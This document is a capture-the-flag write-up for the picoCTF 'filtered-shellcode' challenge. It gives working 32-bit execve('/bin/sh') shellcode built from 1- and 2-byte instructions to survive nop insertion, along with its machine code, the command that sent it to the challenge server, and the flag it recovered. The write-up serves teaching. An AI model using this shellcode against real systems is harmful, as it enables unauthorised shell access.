filtered-shellcode
7 minutes to read
We are given a 32-bit binary called fun:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
We do not have the C source code. This time, instead of reversing the binary using tools like Ghidra, we will analyze it with GDB.
First let’s execute the program:
$ ./fun
Give me code to run:
asdf
zsh: segmentation fault (core dumped) ./fun
It seems that the program is requesting code and it will run it. It crashed because asdf is not a valid instruction.
Let’s generate two breakpoint instructions (SIGTRAP, int3 as an assembly instruction) using asm from pwntools:
$ pwn asm 'int3; int3'
cccc
$ pwn asm 'int3; int3' -o code
$ xxd code
00000000: cccc ..
We can start GDB and run the program with this code:
$ gdb -q fun
Reading symbols from fun...
(No debugging symbols found in fun)
gef➤ run < code
Starting program: ./fun < code
Give me code to run:
Program received signal SIGTRAP, Trace/breakpoint trap.
0xffffcc01 in ?? ()
Nice, it stopped in a breakpoint. Let’s check the next instructions from $eip (minus one to examine from the first breakpoint instruction):
gef➤ x/10i $eip - 1
0xffffcc00: int3
=> 0xffffcc01: int3
0xffffcc02: nop
0xffffcc03: nop
0xffffcc04: (bad)
0xffffcc05: call DWORD PTR [eax-0x6f000070]
0xffffcc0b: nop
0xffffcc0c: (bad)
0xffffcc0d: call DWORD PTR [eax-0x6f000070]
0xffffcc13: nop
0xffffcc14: (bad)
gef➤ x/10x $eip - 1
0xffffcc01: 0x9090cccc 0x9090ffff 0x9090ffff 0x9090ffff
0xffffcc11: 0x9090ffff 0x9090ffff 0x9090ffff 0x9090ffff
0xffffcc21: 0x9090ffff 0x9090ffff
This looks a little weird. Let’s are more dummy code and check again:
$ echo -ne '\xcc\xccABCDEFGHIJKL' > code
$ xxd code
00000000: cccc 41 4243 4445 4647 4849 4a4b 4c ..ABCDEFGHIJKL
gef➤ run < code
Starting program: ./fun < code
Give me code to run:
Program received signal SIGTRAP, Trace/breakpoint trap.
0xffffcc01 in ?? ()
gef➤ x/10x $eip - 1
0xffffcc00: 0x9090cccc 0x90904241 0x90904443 0x90904645
0xffffcc10: 0x90904847 0x90904a49 0x90904c4b 0x9090ffff
0xffffcc20: 0x9090ffff 0x9090ffff
Now we see what the program is actually doing: it is taking our code and putting two nop operations (\x90\x90) between every byte of our code.
The nop instruction does nothing, so it not so problematic. However, it limits that our provided instructions must have 1 or 2 bytes (otherwise, the two nop instructions will break the instruction that are more than 2 bytes long).
The classic shellcode to spawn a shell is similar to this one:
xor ecx, ecx # 31 c9 => $ecx = 0
xor edx, edx # 31 d2 => $edx = 0
xor eax, eax # 31 c0 => $eax = 0
mov al, 0xb # b0 0b => $eax = 0xb
push 0x68732f # 68 2f 2f 73 00 => Push "/sh\0"
push 0x6e69622f # 68 2f 62 69 6e => Push "/bin"
mov ebx, esp # 89 e3 => $ebx = *"/bin/sh\0"
int 0x80 # cd 80 => Call execve
The problem of this shellcode is the process of pushing "/bin/sh\0" onto the stack, since it uses 5-byte instructions. Hence, we need to somehow push "/bin/sh\0" onto the stack but using only 1-byte or 2-byte instructions.
One way I came up with is storing the string byte by byte. We can use instructions like mov al, 0x2f to store a single byte in $eax using a 2-byte instruction, and then shift it to the next byte position.
For example, for "/sh\0", the idea is the following:
push 8 # 6a 08
nop # 90
pop ecx # 59 => $ecx = 8
xor eax, eax # 31 c0 => $eax = 0
mov al, 0x68 # b0 68 => $eax = 0x00000068
shl eax, ecx # d3 e0 => $eax = 0x00006800
mov al, 0x73 # b0 73 => $eax = 0x00006873
shl eax, ecx # d3 e0 => $eax = 0x00687300
mov al, 0x2f # b0 2f => $eax = 0x0068732f ("/sh\0")
nop # 90
push eax # 50 => Push "/sh\0"
As shown above, we are using shl eax, ecx to store in $eax the current value of $eax shifted $ecx bits to the left. And inside $ecx we have 8, so the instruction shl eax, ecx will shift $eax a single byte to the left. Hence, we are accumulating the string in $eax.
The use of nop before the pop and the push instructions (1-byte length) is due to the fact that the program will add two nop instructions between every two bytes. If we do not put that nop instruction, then the next 2-byte instruction will be splitted in two parts (and therefore broken).
We can follow a similar process to have "/bin" into the stack. And finally, add these stages to the previous shellcode.
This is the final code that will spawn a shell using execve("/bin/sh", 0, 0):
push 8 # 6a 08
nop # 90
pop ecx # 59 => $ecx = 8
xor eax, eax # 31 c0 => $eax = 0
mov al, 0x68 # b0 68 => $eax = 0x00000068
shl eax, ecx # d3 e0 => $eax = 0x00006800
mov al, 0x73 # b0 73 => $eax = 0x00006873
shl eax, ecx # d3 e0 => $eax = 0x00687300
mov al, 0x2f # b0 2f => $eax = 0x0068732f ("/sh\0")
nop # 90
push eax # 50 => Push "/sh\0"
xor eax, eax # 31 c0 => $eax = 0
mov al, 0x6e # b0 6e => $eax = 0x0000006e
shl eax, ecx # d3 e0 => $eax = 0x00006e00
mov al, 0x69 # b0 69 => $eax = 0x00006e69
shl eax, ecx # d3 e0 => $eax = 0x006e6900
mov al, 0x62 # b0 62 => $eax = 0x006e6962
shl eax, ecx # d3 e0 => $eax = 0x6e696200
mov al, 0x2f # b0 2f => $eax = 0x6e69622f ("/bin")
nop # 90
push eax # 50 => Push "/bin"
xor ecx, ecx # 31 c9 => $ecx = 0
xor edx, edx # 31 d2 => $edx = 0
xor eax, eax # 31 c0 => $eax = 0
mov al, 0x0b # b0 0b => $eax = 0x0b
mov ebx, esp # 89 e3 => $ebx = *"/bin/sh\0"
int 0x80 # cd 80 => execve
The file is called code.asm, we can translate it to machine code using asm from pwntools again:
$ pwn asm -i code.asm -o code
$ xxd code
00000000: 6a08 9059 31c0 b068 d3e0 b073 d3e0 b02f j..Y1..h...s.../
00000010: 9050 31c0 b06e d3e0 b069 d3e0 b062 d3e0 .P1..n...i...b..
00000020: b02f 9050 31c9 31d2 31c0 b00b 89e3 cd80 ./.P1.1.1.......
$ wc -c code
48 code
It is a relatively short shellcode. Let’s see if it works:
$ (cat code; echo; cat) | ./fun
Give me code to run:
ls
code code.asm fun
Perfect, it has worked smoothly. Notice that we needed to use an echo command to add a new line character to the payload and another cat command to keep the shell active.
Now we can try this code on server side and get the flag:
$ (cat code; echo; cat) | nc mercury.picoctf.net 16460
Give me code to run:
ls
flag.txt
fun
fun.c
xinet_startup.sh
cat flag.txt
picoCTF{th4t_w4s_fun_f1ed6f7952ff4071}
I continued working on the shellcode. Finally, I came up with a shorter one using 16 bits shifting and registers $ah, $al, $bh and $bl for the mov instructions (fragments of $eax and $ebx register):
push 16 # 6a 10
nop # 90
pop ecx # 59 => $ecx = 16
xor eax, eax # 31 c0 => $eax = 0x00000000
mov al, 0x68 # b0 68 => $eax = 0x00000068
shl eax, ecx # d3 e0 => $eax = 0x00680000
mov ah, 0x73 # b4 73 => $eax = 0x00687300
mov al, 0x2f # b0 2f => $eax = 0x0068732f ("/sh\0")
mov bh, 0x6e # b7 6e => $ebx = 0x____6e__
mov bl, 0x69 # b3 69 => $ebx = 0x____6e69
shl ebx, ecx # d3 e3 => $ebx = 0x6e690000
mov bh, 0x62 # b7 62 => $ebx = 0x6e696200
mov bl, 0x2f # b3 2f => $ebx = 0x6e69622f ("/bin")
push eax # 50 => Push "/sh\0"
push ebx # 53 => Push "/bin"
xor ecx, ecx # 31 c9 => $ecx = 0
xor edx, edx # 31 d2 => $edx = 0
xor eax, eax # 31 c0 => $eax = 0
mov al, 0x0b # b0 0b => $eax = 0x0b
mov ebx, esp # 89 e3 => $ebx = *"/bin/sh\0"
int 0x80 # cd 80 => execve
The generated machine code is only 38 bytes long.